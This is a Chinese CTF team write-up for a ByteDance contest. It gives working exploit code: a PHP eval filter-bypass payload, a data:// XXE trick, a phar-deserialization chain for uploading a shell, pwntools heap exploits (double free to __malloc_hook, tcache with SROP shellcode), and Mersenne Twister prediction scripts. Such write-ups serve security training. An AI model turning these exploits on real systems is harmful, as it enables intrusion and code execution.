前几天打了字节跳动的CTF,我还是太菜了,挂一挂队内wp
WEB
boring_code
题目给了源码,但是很是做了很久才出来,wtcl1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
var_dump($code);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
一开始的baidu域名绕过绕了快一天,最后买了个域名就出了(这个题出钱就出flag.jpg
接下来的就是绕过payload了,这个考点跟之前ph牛的无参函数绕过很相似,但是过滤更加严格1
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
rss
这题人傻了,上一题的域名只活了两个小时就被腾讯云封了,然后就卡卡卡……心态爆炸压根没想起data协议,复现复现,wtcl
这题同样也需要百度域名,但是没有限制data协议,所以可以直接用data协议进行绕过,payload如下1
data://baidu.com/plain;base64|xxxxxxxx(base64编码的xxe payload)
然后利用php://filter协议去读php源码
ezCMS
首先是扫后台扫到源码,然后就是进行源码审计,可以看到前半部分是个简单的哈希长度扩展攻击,想要文件上传先要绕过这关,脚本就不贴了,网上随便都能搜到
接下来的就是phar和zip的利用去删除网站文件绕过上传shell,exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class File{
public $checker;
function __construct()
{
$this->checker = new Admin();
}
}
class Admin{
public $size;
public $checker;
public $content_check;
function __construct()
{
$this->checker = 1;
$this->size = 1024;
$this->content_check = new Profile();
}
}
class Check{
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/21817c35416d7783669a7c7d8ed6c73a/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
}
$phar = new Phar('exp.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new File();
$object -> s = 'aaa;';
$phar -> setMetadata($object);
$phar -> stopBuffering();
触发反序列化漏洞就用php://filter
去绕过
PWN
mulnote
这道题就是一道double free(友好的出题人)
首先先在ida里面分析出函数,可以知道malloc<0x10000,也就是可以unsorted_bin和fast_bin的攻击,后面也一样,把函数分析出来,会发现free函数有UAF(动态调试比静态分析好多了,直接动态边调试边看),想到fastbin的attcak,首先unsorted_bin申请再释放泄露出真实地址,然后double free改malloc_hook为onegadget,最后getshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 0
elf = ELF('./mulnote')
if local:
p = process('./mulnote')
libc = elf.libc
else:
p = remote('112.126.101.96', 9999)
libc = ELF('./libc.so')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru(">")
sl('C')
ru("size>")
sl(str(size))
ru("note>")
sd(content)
def puts():
ru(">")
sl('S')
def edit(index1,content):
ru(">")
sl('E')
ru("index>")
sl(str(index1))
ru("new note>")
sd(content)
def free(index1):
ru(">")
sl('R')
ru("index>")
sl(str(index1))
def exit():
ru(">")
sl('Q')
malloc(0xC8,'AAAAAAA')
free(0)
puts()
ru("[*]note[0]:\n")
malloc_hook = u64(rc(6).ljust(8,'\x00')) - 88 - 0x10
print "malloc_hook-->" + hex(malloc_hook)
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
onegadget = libc_base + 0x4526a
fake_chunk = malloc_hook - 0x23
malloc(0x68,'A'*0x68)
malloc(0x68,'B'*0x68)
malloc(0x68,'V'*0x68)
free(1)
free(3)
free(1)
malloc(0x68,p64(fake_chunk))
malloc(0x68,p64(fake_chunk))
malloc(0x68,p64(fake_chunk))
py = ''
py += 'a'*0x13 + p64(onegadget)
malloc(0x68,py)
ru(">")
sl('C')
ru("size>")
sl('200')
p.interactive()
vip
因为become vip函数中调用了prctl函数,而在输入名字处能溢出到v4,也就是prctl的第7个参数,溢出大小为0x30,所以可以构造沙箱规则将open函数关闭(顺便打开mprotect绕过NX),这样在edit函数中open(“/dev/urandom”, 0);返回值就为0,所以read(fd,a1,a2) == read(0,a1,a2) 就是用户输入了,然后这个函数没有对size进行检测所以存在任意长度的堆溢出,接下来就tcache了,但是因为execve函数被禁用了,所以这里用写shellcode直接读flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
p = process("./vip")
#p = remote("112.126.103.14", 9999)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)
libc = ELF("./libc-2.27.so")
def choose(idx):
sla(": ", str(idx))
def alloc(idx):
choose(1)
sla(": ", str(idx))
def show(idx):
choose(2)
sla(": ", str(idx))
def free(idx):
choose(3)
sla(": ", str(idx))
def edit(idx, size, ctx):
choose(4)
sla(": ", str(idx))
sla(": ", str(size))
sa(": ", ctx)
def rule(code,jt ,jf ,k):
return p16(code) + p8(jt) + p8(jf) + p32(k)
#def build_rule():
# payload = ''
# payload+= rule(0x20 ,0x00, 0x00, 0x00000004) # A = arch
# payload+= rule(0x15 ,0x00, 0x03, 0xc000003e) # if (A != ARCH_X86_64) goto 0010
# payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = sys_number
# payload+= rule(0x15 ,0x01, 0x00, 0x00000002) # if (A == open) goto 0006
# payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000) # return ALLOW
# # payload+= rule(0x15 ,0x03, 0x00, 0x0000003b) # if (A == execve) goto 0005
# payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
# return payload
def build_rule():
payload = ''
payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = arch
payload+= rule(0x15 ,0x07, 0x00, 0x00000001) # if (A == write) goto 0009
payload+= rule(0x15 ,0x06, 0x00, 0x00000000) # if (A == read) goto 0009
payload+= rule(0x15 ,0x05, 0x00, 0x0000000a) # if (A == mprotect) goto 0009
payload+= rule(0x15 ,0x04, 0x00, 0x40000002) # if (A == open) goto 0009
payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
return payload
for i in range(15):
alloc(i)
pay = "a"*0x20+build_size()
print hex(len(pay))
pause()
choose(6)
sa("name: \n", pay)
p.interactive()
edit(0, 0x70, "a"*0x50+p64(0)+p64(0x421))
#gdb.attach(p)
free(1)
alloc(0)
show(0)
leak = ru("\x7f").ljust(8, "\x00")
leak = u64(leak)
libc.address = leak-0x3ec090
log.info("libc.address --> %s",hex(libc.address))
alloc(0)
alloc(1)
free(6)
free(7)
free(8)
free(9)
free(0)
edit(2, 16, p64(libc.symbols['__free_hook']))
alloc(4)
alloc(3)
free(2)
edit(4, 20, p64(0x404140))
alloc(0)
alloc(0)
edit(3, 0x20, p64(libc.symbols['setcontext']+53))
frame = SigreturnFrame()
frame.rsp = 0x404150
frame.rip = libc.symbols["mprotect"]
frame.rdx = 0x7
frame.rsi = 0x1000
frame.rdi = 0x404000
payload = "./flag\x00\x00"
payload += p64(0)
payload += p64(0x404260) + p64(1) + p64(1)*32
code = '''
mov rdi, 0x404140;
mov rsi, 0;
mov rdx, 0;
mov eax, 0x40000002;
syscall;
mov rdi, 3;
mov rsi, 0x404160;
mov rdx, 100;
mov eax, 0;
syscall;
mov rdi, 1;
mov rsi, 0x404160;
mov rdx, 100;
mov eax, 1;
syscall;
'''
payload += asm(code)
edit(0, 0x1000, payload)
edit(4, 0x300, str(frame))
free(4)
p.interactive()
MISC
betgame
试了几次,对应关系如下1
2
3第一关:b --> s ; j --> b ; s -- j ;
第二关:j --> s ; s --> b ; b --> j;
第三关:s --> s ; b --> b ; j --> j;
然后次数只需要30次菜鸡就直接手动出flag了2333
jigsaw
按时间顺序头铁拼图……..
CRYPTO
lrlr
aes随机数漏洞加广播攻击1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from Crypto.Cipher import AES
from randcrack import RandCrack
import random
def GCRT(mi, ai):
assert( isinstance (mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a ) in zip(mi[1:],ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
k = c // d *libnum.invmod(curm // d, m // d)
cura += curm * k
curm = curm * m // d
cura %= curm
return (cura %curm, curm)
rc = RandCrack()
r = []
fd = open("old","r")
out = fd.readline()
while out:
r.append(int(out.strip('\n'),10))
out = fd.readline()
# print r
for i in r[-624:]:
rc.submit(i)
for i in range(24):
rc.predict_getrandbits(128)
p = []
for i in range(48):
predict = rc.predict_getrandbits(128)
p.append(predict)
# print p
fd = open("new","r")
out = fd.readline()
cn = []
while out:
cn.append(long_to_bytes(int(out.strip('\n'),16)))
# print out
out = fd.readline()
# print cn
mn = []
clist = []
for i in range(24):
key = long_to_bytes(p[24+i])
h = AES.new(key, AES.MODE_CBC, b"\x00"*16)
cnow = h.decrypt(cn[i])
key = long_to_bytes(p[i])
h = AES.new(key, AES.MODE_CBC, b"\x00"*16)
mnow = h.decrypt(cnow)
mn.append(mnow)
clist = list(map(bytes_to_long, mn))
# print clist
nlist = []
fd = open("cl","r")
out = fd.readline()
while out:
nlist.append(int(out.strip('\n')[2:-1],16))
out = fd.readline()
# print nlist
m = GCRT(nlist, clist)[0]
# print m
e = 17
if gmpy2.iroot(m, e)[1] == 1:
flag = gmpy2.iroot(m, e)[0]
print flag
# 61406796444626535559771097418338494728649815464609781204026855332620301752444
然后z3解方程1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21from z3 import *
seed = BitVec("f", 256+1)
c = 0x10000000000000000000000000000000000000000000000000000000000000223
m = 61406796444626535559771097418338494728649815464609781204026855332620301752444
def calc(f):
p = 0
for i in range(256-1, -1, -1):
p = p * 2
p = If(Extract(i, i, f)==1, p^f, p)
p = If(LShR(p, 256)==1, p^c, p)
return p
solver = Solver()
solver.add(m==calc(seed))
solver.add(Extract(256, 256, seed)==0)
for i in range(7, 257, 8):
solver.add(Extract(i, i, seed)==0)
print(solver)
if solver.check() == sat:
print(solver.model())
#flag{very_simple_random_problem}
还是太菜了Orz